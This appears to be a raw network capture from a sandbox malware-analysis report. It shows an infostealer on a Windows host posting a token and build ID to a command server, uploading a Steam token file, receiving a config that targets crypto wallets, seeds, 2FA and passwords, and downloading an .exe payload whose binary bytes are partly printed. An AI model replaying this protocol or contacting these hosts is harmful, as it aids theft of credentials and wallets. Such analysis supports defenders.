F8XEV4b2R1c1xiYWNrdXBzXHwqLip8MXxFbGVjdHJvbiBDYXNofDF8XEVsZWN0cm9uQ2FzaFx3YWxsZXRzXHwqLip8MHxNdWx0aURvZ2V8MXxcTXVsdGlEb2d [TRUNCATED]
Aug 28, 2024 22:56:01.658984900 CEST	511	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKEGDAKEHJDHIDHJJDAE Host: 147.45.68.138 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 37 66 63 30 64 30 38 30 30 34 35 33 63 65 65 33 33 32 35 62 63 31 32 66 36 34 65 36 36 38 39 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 39 39 34 39 64 36 33 63 62 32 66 36 66 63 65 36 66 38 30 36 36 37 63 30 63 39 38 65 61 32 34 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 34 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 2d 2d 0d 0a Data Ascii: ------AKEGDAKEHJDHIDHJJDAEContent-Disposition: form-data; name="token"77fc0d0800453cee3325bc12f64e6689------AKEGDAKEHJDHIDHJJDAEContent-Disposition: form-data; name="build_id"d9949d63cb2f6fce6f80667c0c98ea24------AKEGDAKEHJDHIDHJJDAEContent-Disposition: form-data; name="mode"4------AKEGDAKEHJDHIDHJJDAE--
Aug 28, 2024 22:56:02.203376055 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:56:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 65 38 0d 0a 52 6d 78 68 63 32 68 38 4a 55 52 53 53 56 5a 46 58 31 4a 46 54 55 39 57 51 55 4a 4d 52 53 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 69 6f 73 4b 6e 4e 6c 5a 57 51 71 4c 69 6f 73 4b 6d 4a 30 59 79 6f 75 4b 69 77 71 61 32 56 35 4b 69 34 71 4c 43 6f 79 5a 6d 45 71 4c 69 6f 73 4b 6d 4e 79 65 58 42 30 62 79 6f 75 4b 69 77 71 59 32 39 70 62 69 6f 75 4b 69 77 71 63 48 4a 70 64 6d 46 30 5a 53 6f 75 4b 69 77 71 4d 6d 5a 68 4b 69 34 71 4c 43 70 68 64 58 52 6f 4b 69 34 71 4c 43 70 73 5a 57 52 6e 5a 58 49 71 4c 69 6f 73 4b 6e 52 79 5a 58 70 76 63 69 6f 75 4b 69 77 71 63 47 46 7a 63 79 6f 75 4b 69 77 71 64 32 46 73 4b 69 34 71 4c 43 70 31 63 47 4a 70 64 43 6f 75 4b 69 77 71 59 6d 4e 6c 65 43 6f 75 4b 69 77 71 59 6d 6c 30 61 47 6c 74 59 69 6f 75 4b 69 77 71 61 47 6c 30 59 6e 52 6a 4b 69 34 71 4c 43 70 69 61 58 52 6d 62 48 6c 6c 63 69 6f 75 4b 69 77 71 61 33 56 6a 62 32 6c 75 4b 69 34 71 4c 43 70 6f 64 57 39 69 61 53 6f 75 4b 69 77 71 63 47 39 73 62 32 35 70 5a 58 67 71 4c 69 6f 73 4b 6d 74 79 59 [TRUNCATED] Data Ascii: 5e8Rmxhc2h8JURSSVZFX1JFTU9WQUJMRSVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKiwqaGl0YnRjKi4qLCpiaXRmbHllciouKiwqa3Vjb2luKi4qLCpodW9iaSouKiwqcG9sb25pZXgqLiosKmtyYWtlbiouKiwqb2tleCouKiwqYmluYW5jZSouKiwqYml0ZmluZXgqLiosKmdkYXgqLiosKmV0aGVyZXVtKi4qLCpleG9kdXMqLiosKm1ldGFtYXNrKi4qLCpteWV0aGVyd2FsbGV0Ki4qLCplbGVjdHJ1bSouKiwqYml0Y29pbiouKiwqYmxvY2tjaGFpbiouKiwqY29pbm9taSouKiwqd29yZHMqLiosKm1ldGEqLiosKm1hc2sqLiosKmV0aCouKiwqcmVjb3ZlcnkqLip8MTUwfDN8KndpbmRvd3MqLCpQcm9ncmFtIEZpbGVzKiwqUHJvZ3JhbSBGaWxlcyAoeDg2KSosKkFwcERhdGEqLCpQcm9ncmFtRGF0YSosKi5sbmssKi5leGUsKi5zY3IsKi5jb20sKi5waWYsKi5tcDN8REVTS1RPUHwlREVTS1RPUCVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKiwqaGl [TRUNCATED]
Aug 28, 2024 22:56:02.220499992 CEST	637	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDBFIIEBGCAKKEBFBAAF Host: 147.45.68.138 Content-Length: 457 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 37 66 63 30 64 30 38 30 30 34 35 33 63 65 65 33 33 32 35 62 63 31 32 66 36 34 65 36 36 38 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 39 39 34 39 64 36 33 63 62 32 66 36 66 63 65 36 66 38 30 36 36 37 63 30 63 39 38 65 61 32 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 55 32 39 6d 64 46 78 54 64 47 56 68 62 56 78 7a 64 47 56 68 62 56 39 30 62 32 74 6c 62 6e 4d 75 64 48 68 [TRUNCATED] Data Ascii: ------JDBFIIEBGCAKKEBFBAAFContent-Disposition: form-data; name="token"77fc0d0800453cee3325bc12f64e6689------JDBFIIEBGCAKKEBFBAAFContent-Disposition: form-data; name="build_id"d9949d63cb2f6fce6f80667c0c98ea24------JDBFIIEBGCAKKEBFBAAFContent-Disposition: form-data; name="file_name"U29mdFxTdGVhbVxzdGVhbV90b2tlbnMudHh0------JDBFIIEBGCAKKEBFBAAFContent-Disposition: form-data; name="file_data"N+dA------JDBFIIEBGCAKKEBFBAAF--
Aug 28, 2024 22:56:02.761023045 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:56:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Aug 28, 2024 22:56:02.835155964 CEST	182	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDGHIJDGCBAAAAAFIJD Host: 147.45.68.138 Content-Length: 98233 Connection: Keep-Alive Cache-Control: no-cache
Aug 28, 2024 22:56:03.959429979 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:56:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Aug 28, 2024 22:56:03.964236975 CEST	511	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBGDGIDBAAEBFHJKJDG Host: 147.45.68.138 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 42 47 44 47 49 44 42 41 41 45 42 46 48 4a 4b 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 37 66 63 30 64 30 38 30 30 34 35 33 63 65 65 33 33 32 35 62 63 31 32 66 36 34 65 36 36 38 39 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 44 47 49 44 42 41 41 45 42 46 48 4a 4b 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 39 39 34 39 64 36 33 63 62 32 66 36 66 63 65 36 66 38 30 36 36 37 63 30 63 39 38 65 61 32 34 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 44 47 49 44 42 41 41 45 42 46 48 4a 4b 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 44 47 49 44 42 41 41 45 42 46 48 4a 4b 4a 44 47 2d 2d 0d 0a Data Ascii: ------BFBGDGIDBAAEBFHJKJDGContent-Disposition: form-data; name="token"77fc0d0800453cee3325bc12f64e6689------BFBGDGIDBAAEBFHJKJDGContent-Disposition: form-data; name="build_id"d9949d63cb2f6fce6f80667c0c98ea24------BFBGDGIDBAAEBFHJKJDGContent-Disposition: form-data; name="mode"5------BFBGDGIDBAAEBFHJKJDG--
Aug 28, 2024 22:56:04.600559950 CEST	354	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:56:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 62 34 0d 0a 4d 54 41 79 4d 7a 55 34 4f 48 78 6f 64 48 52 77 4f 69 38 76 4d 54 51 33 4c 6a 51 31 4c 6a 51 30 4c 6a 45 77 4e 43 39 77 63 6d 39 6e 4c 7a 59 32 59 32 59 34 4d 54 67 78 4e 54 59 78 4f 54 4e 66 62 47 52 71 5a 6d 35 7a 5a 6d 51 75 5a 58 68 6c 66 44 46 38 61 32 74 72 61 33 77 78 4d 44 49 7a 4e 54 67 35 66 47 68 30 64 48 41 36 4c 79 38 78 4e 44 63 75 4e 44 55 75 4e 44 51 75 4d 54 41 30 4c 33 42 79 62 32 63 76 4e 6a 5a 6a 5a 6a 63 31 5a 44 4d 33 4f 54 46 6b 4e 31 39 32 63 6d 56 33 63 57 64 78 4c 6d 56 34 5a 58 77 78 66 47 74 72 61 32 74 38 0d 0a 30 0d 0a 0d 0a Data Ascii: b4MTAyMzU4OHxodHRwOi8vMTQ3LjQ1LjQ0LjEwNC9wcm9nLzY2Y2Y4MTgxNTYxOTNfbGRqZm5zZmQuZXhlfDF8a2tra3wxMDIzNTg5fGh0dHA6Ly8xNDcuNDUuNDQuMTA0L3Byb2cvNjZjZjc1ZDM3OTFkN192cmV3cWdxLmV4ZXwxfGtra2t80
Aug 28, 2024 22:56:05.994225025 CEST	679	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIDGHDBAFIJJJJKJDHD Host: 147.45.68.138 Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 44 47 48 44 42 41 46 49 4a 4a 4a 4a 4b 4a 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 37 66 63 30 64 30 38 30 30 34 35 33 63 65 65 33 33 32 35 62 63 31 32 66 36 34 65 36 36 38 39 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 48 44 42 41 46 49 4a 4a 4a 4a 4b 4a 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 39 39 34 39 64 36 33 63 62 32 66 36 66 63 65 36 66 38 30 36 36 37 63 30 63 39 38 65 61 32 34 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 48 44 42 41 46 49 4a 4a 4a 4a 4b 4a 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 31 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 48 44 42 41 46 49 4a 4a 4a 4a 4b 4a 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d [TRUNCATED] Data Ascii: ------BFIDGHDBAFIJJJJKJDHDContent-Disposition: form-data; name="token"77fc0d0800453cee3325bc12f64e6689------BFIDGHDBAFIJJJJKJDHDContent-Disposition: form-data; name="build_id"d9949d63cb2f6fce6f80667c0c98ea24------BFIDGHDBAFIJJJJKJDHDContent-Disposition: form-data; name="mode"51------BFIDGHDBAFIJJJJKJDHDContent-Disposition: form-data; name="task_id"1023588------BFIDGHDBAFIJJJJKJDHDContent-Disposition: form-data; name="status"1------BFIDGHDBAFIJJJJKJDHD--
Aug 28, 2024 22:56:06.729500055 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:56:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Aug 28, 2024 22:56:07.080183983 CEST	679	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKEBKJJDGHCBGCAAKEH Host: 147.45.68.138 Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 37 66 63 30 64 30 38 30 30 34 35 33 63 65 65 33 33 32 35 62 63 31 32 66 36 34 65 36 36 38 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 39 39 34 39 64 36 33 63 62 32 66 36 66 63 65 36 66 38 30 36 36 37 63 30 63 39 38 65 61 32 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d [TRUNCATED] Data Ascii: ------KKKEBKJJDGHCBGCAAKEHContent-Disposition: form-data; name="token"77fc0d0800453cee3325bc12f64e6689------KKKEBKJJDGHCBGCAAKEHContent-Disposition: form-data; name="build_id"d9949d63cb2f6fce6f80667c0c98ea24------KKKEBKJJDGHCBGCAAKEHContent-Disposition: form-data; name="mode"51------KKKEBKJJDGHCBGCAAKEHContent-Disposition: form-data; name="task_id"1023589------KKKEBKJJDGHCBGCAAKEHContent-Disposition: form-data; name="status"1------KKKEBKJJDGHCBGCAAKEH--
Aug 28, 2024 22:56:07.802428961 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:56:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Aug 28, 2024 22:56:07.841171980 CEST	511	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDGHIJDGCBAAAAAFIJD Host: 147.45.68.138 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 37 66 63 30 64 30 38 30 30 34 35 33 63 65 65 33 33 32 35 62 63 31 32 66 36 34 65 36 36 38 39 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 39 39 34 39 64 36 33 63 62 32 66 36 66 63 65 36 66 38 30 36 36 37 63 30 63 39 38 65 61 32 34 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 36 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 44 2d 2d 0d 0a Data Ascii: ------HJDGHIJDGCBAAAAAFIJDContent-Disposition: form-data; name="token"77fc0d0800453cee3325bc12f64e6689------HJDGHIJDGCBAAAAAFIJDContent-Disposition: form-data; name="build_id"d9949d63cb2f6fce6f80667c0c98ea24------HJDGHIJDGCBAAAAAFIJDContent-Disposition: form-data; name="mode"6------HJDGHIJDGCBAAAAAFIJD--
Aug 28, 2024 22:56:08.400743008 CEST	168	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:56:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49734	147.45.44.104	80	3180	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Aug 28, 2024 22:56:04.609095097 CEST	95	OUT	GET /prog/66cf818156193_ldjfnsfd.exe HTTP/1.1 Host: 147.45.44.104 Cache-Control: no-cache
Aug 28, 2024 22:56:05.277199030 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:56:05 GMT Content-Type: application/octet-stream Content-Length: 328232 Last-Modified: Wed, 28 Aug 2024 19:58:57 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66cf8181-50228" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 56 81 cf 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 d4 04 00 00 06 00 00 00 00 00 00 5e f2 04 00 00 20 00 00 00 00 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 05 00 00 02 00 00 b7 52 05 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 08 f2 04 00 53 00 00 00 00 00 05 00 42 02 00 00 00 00 00 00 00 00 00 00 00 dc 04 00 28 26 00 00 00 20 05 00 0c 00 00 00 d0 f0 04 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELVf^ @ @R`SB(& H.textd `.rsrcB@@.reloc @B@H8\|~0B~fc8u &rK"Y`_BwoRXc`(onE5L`sB&3jmc 1XzkHmJ[_sNOW/M3ez:7Iy7L9o 1;%nz4WlEn#7N:vMICk}f8\xq+_wu!bZxB8y-]C45k2-5PN!W%mJ'pV$8w6Hps\|;
Aug 28, 2024 22:56:05.277221918 CEST	1236	IN	Data Raw: ec e3 29 e3 ec 86 07 48 39 09 51 b6 28 56 2c f4 5b 6e 4d b4 e3 ad 6e d9 b5 67 99 4e 67 bc 1f 05 63 a6 43 47 c3 27 d7 68 93 34 85 8c d1 7f a0 7b dc 81 e4 48 cd b1 2d 60 cc 00 c9 e5 c1 13 3d 3a 08 1c bc f9 46 31 c1 66 3f 34 77 f2 b8 57 99 c8 a8 57 Data Ascii: )H9Q(V,[nMngNgcCG'h4{H-`=:F1f?4wWW0M'mzm@+\Z^!w6Ns;JlgalC1SAJML,Z@C"ZY'tWwLZ=a?NJ 7O _~)9YSs
Aug 28, 2024 22:56:05.277234077 CEST	1236	IN	Data Raw: d8 55 bd b9 6a 09 e2 60 c6 e6 de d8 c7 dc 4c 08 d8 5f 36 66 17 a5 af 47 f1 29 22 13 bd b5 e3 e1 ed f3 d0 62 ef 4e 1c 55 4e 16 5f 37 0e fd fb 07 87 76 00 96 2a 53 02 ac e8 11 87 bd 7f e5 bf b9 c1 fc 86 10 68 37 c6 36 93 4e f6 ed ee 9c 84 a0 8b 0e Data Ascii: Uj`L_6fG)"bNUN_7v*Sh76N""ff35' U\|UDCR"OZ^U.fxan\:?'8]hyY:$4"9w"T_=w7{E5nUg7
Aug 28, 2024 22:56:05.277303934 CEST	1236	IN	Data Raw: 8e ae bc 50 21 c8 60 4e e3 34 48 72 13 49 50 f1 37 e3 37 12 88 22 bb f0 7e bd b1 df 2d ee ee 64 f9 b2 77 c1 dc 0e 11 d1 43 c1 7f 7c 04 2e 00 bf 5e e1 cd da 53 37 6a 21 f4 d9 25 bc 34 87 bf ce 3e c1 bf 19 26 17 24 0c 36 45 91 9d 32 d5 3c dd d7 30 Data Ascii: P!`N4HrIP77"~-dwC\|.^S7j!%4>&$6E2<0Ffkm-@c{78OXE9LB55~vft/.LL;G4"wV]c360Lyn2~&:q/ntSFxg=6f,<-Q,:
Aug 28, 2024 22:56:05.277319908 CEST	896	IN	Data Raw: f8 9a ca 58 21 e8 f5 4a 23 94 e3 5e c0 40 84 b5 86 31 14 d5 70 ed af 0c 1a 8c 54 cd f1 2c b6 9b 95 a2 cd 64 c4 7f ad 89 76 67 26 54 a3 9f ef df b3 a8 ef 83 77 f2 87 87 59 b9 bb b9 8d e7 eb 1f a8 1f 94 5b 64 42 28 f0 73 57 14 e1 a3 2e 0b f8 e5 87 Data Ascii: X!J#^@1pT,dvg&TwY[dB(sW.4U~W:Q0)#9+\s}`sOq/'U:-O$2IN#R\FZKf*}MdZ6Xh/X_D-Xo= cy
Aug 28, 2024 22:56:05.277339935 CEST	1236	IN	Data Raw: f0 65 5b 58 42 62 f0 fb f5 1b a4 b0 67 0a c9 fc a7 0e 9c 70 88 76 71 e2 26 81 f0 40 e5 bd a4 ea 3d 80 66 32 7c d0 c3 3e 96 6d 08 5c 99 be 9e 06 ac a4 a2 85 c5 68 36 03 f7 05 04 b3 27 7e 75 02 0b e8 02 4e fb 30 35 f4 3b f2 23 bf 66 74 a5 de 42 b3 Data Ascii: e[XBbgpvq&@=f2\|>m\h6'~uN05;#ftB]e>PJz}CVHuT<fHs&yqnH-A@}yos>^:@9ehq+kd*\L%FvRp2y>6C^9j6i4-CM9$=
Aug 28, 2024 22:56:05.277353048 CEST	1116	IN	Data Raw: 1c 6a 82 84 3e f4 9c 0b ca a8 77 dc f5 f9 65 a3 ea e2 e7 6b a7 51 24 d8 28 a5 e1 80 e1 3a 94 af eb fa 23 be fb df c2 0e 62 f4 87 f1 6d 40 88 5c 7f d1 88 9e ee ef 8b 7d b5 ee 7a 0b 01 bd 41 85 e7 dd 8b 1e d1 e3 a8 87 48 a0 ca 28 f9 18 92 a7 e5 a9 Data Ascii: j>wekQ$(:#bm@\}zAH(F[%m$\|M"Z9$,]\|@+?e5f}!iS6/;;OP5-gmR\|q~ckXNJ+[}g1z
Aug 28, 2024 22:56:05.277369976 CEST	1236	IN	Data Raw: 19 6b ab 59 83 f7 de 15 86 c7 b5 c0 1d b5 34 3b ee 45 d5 df 38 e3 d2 44 bd 1f e5 14 1c c7 cf 29 03 f1 f0 5e 06 d9 45 29 0d aa 07 bd 3c 6b d3 51 16 25 b9 89 9b ec ac 68 45 1c 73 16 fe 9b 46 45 7b 90 45 6b 37 64 17 c4 9a 91 bb e0 45 6e 77 9d 37 1d Data Ascii: kY4;E8D)^E)<kQ%hEsFE{Ek7dEnw7/xrV&q4M6me<}")z@E\c65zHnDV&a]<e$iTfi\k7pX{x9'??Q.>_:u60Y""fe6.cF_\
Aug 28, 2024 22:56:05.277383089 CEST	1236	IN	Data Raw: a9 54 89 94 18 f5 96 a9 c0 98 ea 3b bb 22 c0 69 c3 76 05 28 61 f8 9e 2a 14 b4 45 90 99 a4 16 62 f3 9e 1b b8 bd 95 d8 44 02 45 6f 35 36 85 b6 15 54 e0 e5 8e 32 01 0f c5 95 cf 30 90 93 26 12 68 2d ac eb c0 31 49 88 65 b5 22 24 c5 e4 fa 02 83 fc af Data Ascii: T;"iv(a*EbDEo56T20&h-1Ie"$"S)f<0^as$NC==U,nLJ-Q5t w\|,iIsUnnM]z_'\:-YX":l@>XeNZYzM\Cm
Aug 28, 2024 22:56:05.277396917 CEST	1236	IN	Data Raw: 96 eb 18 28 7e 94 e2 be 58 1d 67 29 6e de e5 52 a9 e5 dc 96 4c e3 d8 05 27 bf cf 73 b6 e5 22 ad d1 51 4f 23 cc 2e 18 35 ca e7 67 e3 8d fe 3b 35 73 36 71 02 3b 5a 79 b9 e2 44 81 11 fb 35 d0 8c 78 70 aa 9b 2d cd 5f ab 75 02 fc fd e4 25 5a bb c1 4b Data Ascii: (~Xg)nRL's"QO#.5g;5s6q;ZyD5xp-_u%ZK(00C;5%ig)9dYY@FDP/fzm-GGi\|3=~*d{>~suZ"GRhSJ[@}s-g)E+ACj'GXlJDd
